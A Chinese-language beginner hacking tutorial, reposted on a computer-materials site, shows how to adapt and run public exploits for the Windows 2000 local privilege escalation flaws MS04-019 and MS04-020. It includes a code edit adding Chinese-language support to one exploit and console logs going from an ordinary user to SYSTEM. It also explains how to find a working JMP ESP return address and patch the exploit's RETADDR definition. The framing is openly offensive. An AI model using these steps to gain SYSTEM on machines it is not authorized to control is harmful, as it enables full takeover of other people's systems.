修改Exploit体验本地权限提升的乐趣 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    编外:这是老文章了,以前好像发过

    漏洞就像8月的雨一样,短短的一个月里就冒出了好几个!各大安全网站都不断在头条中报道最新的漏洞消息,热度不亚于奥运,

修改Exploit体验本地权限提升的乐趣

。但是这些漏洞中,真正能为菜鸟们服务的却是少之又少!真希望自己早日成为一只大鸟。可喜的是在这些漏洞中,MS04-019和MS04-020这两个缓冲区溢出漏洞能够方便的被我们利用(因为漏洞溢出工具不是通用的,光仔只好附上源码,大家只好按自己情况,进行修改!不便之处,敬请原谅)。

    TIPS:何谓缓冲区溢出?

    缓冲区溢出(Buffer Overflow)是计算机安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。缓冲区溢出大致又可分两类,一类是堆溢出(Heap Overflow);一类是栈溢出(Stack Overflow)。MS04-020漏洞就是堆溢出。

    MS04-019

    好!下面让我们看看MS04-019漏洞和MS04-020漏洞的庐山真面目吧!MS04-019漏洞是工具管理器中的漏洞可能允许执行代码,漏洞全名是Microsoft Utility Manager本地权限提升漏洞,它对现在的Windows 2000系统都有效,除非打上了最新的补丁。成功利用此漏洞的攻击者可以完全控制受影响的系统,其中包括:安装程序;查看、更改或删除数据;或者创建拥有完全权限的新帐户等。

    这个漏洞只能用于本地权限提升,不能用于远程权限提升,真可惜!不过Microsoft Utility Manager,也就是Windows 2000 的工具管理器是默认安装的,所以影响范围很大!虽然不能用来远程入侵别人的电脑,但是当你忘了自己的管理员密码时,它就能派上用途了!

    因为是菜鸟的缘故,所用的Exploit是大鸟写好的,可惜的是Exploit并不支持中文,但是不难发现,添加中文并不难。

    下面我们先来享受一下改造天兵神器的乐趣。需要修改的代码:

    lang[] = {

    { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */

    { 0x09,"Utility manager","Windows Help","Open" }, /* English */

    /* “French”在下面的语言数据组中,排列第12,12在16进制中就是c。“English”就是排列第9。所以“Chinese”就是4了!得出中文的格式是:“0x04,"辅助工具管理器","Windows 帮助","打开"},/* Chinese */”*/

    };

    void print_lang(int id)

    {

    char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",

    "Danish","German","Greek","English","Spanish","Finnish",

    "French","Hebrew","Hungarian","Icelandic","italian",

    代码修改之后就是:

    lang[] = {

    { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */

    { 0x09,"Utility manager","Windows Help","Open" },/* English */

    { 0x04,"辅助工具管理器","Windows 帮助","打开"},/* Chinese */

    最后一步就是把源代码编译(用VC编译它的话很简单,只需要点击几下就行了,这部分忽略)。经过改造的神兵终于诞生了!还等什么?利用程序吧:

    Microsoft Windows 2000 [Version 5.00.2195]

    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\WINNT\system32>whoami

    X\Chobit

    可以看到这个Chobit用户只有User权限。但是不久就可以得到SYSTEM权限的了!好,我们来吧!按下WIN(就是Ctrl和Alt中间那个)+U组合键,启动“辅助工具管理器”,然后在CMD窗口中运行我们刚修改好的神兵。接着程序会提示找不到某个文件,询问是否手动查找并运行。我们选择“是”,并输入“CMD”,按“打开”,就可以运行另一个CMD了!看看这个CMD有什么特别?输入whoami,返回信息:

    Microsoft Windows 2000 [Version 5.00.2195]

    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\WINNT\system32>whoami

    NT AUTHORITY\SYSTEM

    看!这个CMD是拥有SYSTEM权限的!下一步想做什么就做什么吧!整个漏洞利用过程中只是按部就班地取得SYSTEM权限。不过在改造天兵神器这一幕中,我们充分发掘并发挥了Exploit编写者留下的智慧,看来大胆尝试和不断创新依然是 的必具素质,广大的菜鸟们要好好的努力哦!

    TIPS:上期黑防针对这个漏洞曾经请isno做过详细的分析并提供了他自己编写的完整Exploit,喜欢研究漏洞细节或者想自己修改Exploit的朋友可以翻看上期的黑防和附带光盘。

    MS04-020

    这个漏洞是Posix中允许执行代码, 全名是Windows POSIX子系统权限提升漏洞,影响现在的所有Windows NT和Windows 2000系统。成功利用此漏洞的攻击者可以完全控制受影响的系统,其中包括:安装程序;查看、更改或删除数据;或者创建拥有完全权限的新帐户等。

    TIPS:POSIX系统是什么?漏洞是如何产生的?

    Microsoft的POSIX系统由一个Psxss的进程负责处理,Posix.exe运行起来的程序会通过LPC来和Psxss通讯,Psxss进程的权限是SYSTEM。很不幸的是Posix.exe传递给Psxss的数据中,如果包含过长的字符串会导致Psxss一个堆栈溢出,如果精心构造这些字符串,就会得到SYSTEM权限的控制权,

电脑资料

修改Exploit体验本地权限提升的乐趣》(https://www.unjs.com)。

    跟MS04-019漏洞一样,MS04-020漏洞不能用于远程入侵。但是我们不会放弃任何一个能够拿到SYSTEM权限的机会,况且MS04-020漏洞利用起来非常方便,因为Exploit都是大鸟们提供的。我们要做的就是把编译Exploit并使用。好了,我们一起来吧!

    现在我以一个普通用户登陆计算机并打开一个CMD窗口:

    Microsoft Windows 2000 [Version 5.00.2195]

    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\WINNT\system32>whoami

    X\Chobit

    然后输入正确的溢出程序路径,使用简单参数就能溢出了:

    C:\cd tools

    C:\tools\exploit.exe

    Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1

    By bkbll (bkbll#cnhonker.net,bkbll#tom.com) http://www.cnhonker.com/

    pax: illegal option--h

    Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.

    pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte

    pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]

    [-t device] [-x format] [pathname...]

    pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

    For more information on pax syntax, see Command Reference

    Help in the Windows Help file.Remote addr:0x7ff90000

    Microsoft Windows 2000 [Version 5.00.2195]

    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\WINNT\system32>whoami

    NT AUTHORITY\SYSTEM

    C:\WINNT\system32>

    系统权限出来了,这个漏洞利用够方便吧?!但是光仔在另一台Windows 2000中,用同样的方法去取SYSTEM权限,却没有成功。从错误提示,可以看出0x796e9b53指令引用的内存不能为“written”。0x796e9b53不就是Exploit中的“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”吗?现在肯定是Exploit出问题了!“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”这句定义了溢出中最关键的“返回地址”。如果返回地址不正确的话,溢出绝不会成功。现在可以做的就是:先找出正确的返回地址,然后再重新编译溢出程序。

    我们可以用Jmpesp.exe(这是SUNX写的寻找Jmpesp的工具)来帮助我们找出Jmp esp指令地址。首先新建一个CMD窗口,输入“jmpesp 1 advapi32.dll”(不含引号):

    Microsoft Windows 2000 [Version 5.00.2195]

    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\tools>jmpesp 1 advapi32.dll

    jmpesp, written by sunx

    http://www.sunx.org

    advapi32.dll

    BaseAddress:0x796d0000

    0x796e7993 [JMP ESP]

    0x796ec663 [JMP ESP]

    0x796ec68b [JMP ESP]

    0x796ee70f [CALL ESP]

    0x796f8498 [PUSH ESP; RET]

    LoadLibraryA: 0x77e705cf

    GetProAddress:0x77e6e6a9

    WinExec: 0x77e69c1d

    ExitThread: 0x77e65f3b

    C:\tools>

    看到了吗?我们得从输出结果中得到需要的正确返回地址:

    0x796e7993 [JMP ESP]

    0x796ec663 [JMP ESP]

    0x796ec68b [JMP ESP]

    这就是光仔找到的Jmp esp指令地址。根本就没有0x796e9b53,难怪溢出失败。找到原因了,现在应该修改下Exploit,重新编译了。将Exploit中的“#define RETADDR 0x796e9b53 //advapi32.dll jmp esp”修改为“#define RETADDR 0x796e7993 //advapi32.dll jmp esp”即可。重新编译Exploit,再次使用普通权限运行Exploit就能成功了,得到SYSTEM权限!

    要注意这个溢出程序无论成功与否只能溢出一次,因为调用Posix后,Posix会等待自己的LPC Port回复,而在Psxss里使用ExitThread()退出了。导致Posix,pax僵死在那里。使用Pskill,Kill掉后,Psxss也会因为自己在三个LPC Port上等待而僵死。而Psxss只能运行一次,Kill掉后就无法再次运行,就是说想要再次溢出必须重新启动计算机!

    有了大鸟们事先编好的Exploit之后,利用MS04-019漏洞和MS04-020漏洞来获得SYSTEM权限并不是一件难事。但是在整个实战过程中感觉得到,溢出成功之后的喜悦并不是来自获得SYSTEM权限,而是在发现问题和解决问题的过程之中。虽然光仔只是个菜鸟,但是光仔认为 技术是在发现新的问题和全心全意去解决问题中慢慢积累起来的!你觉得呢?

最新文章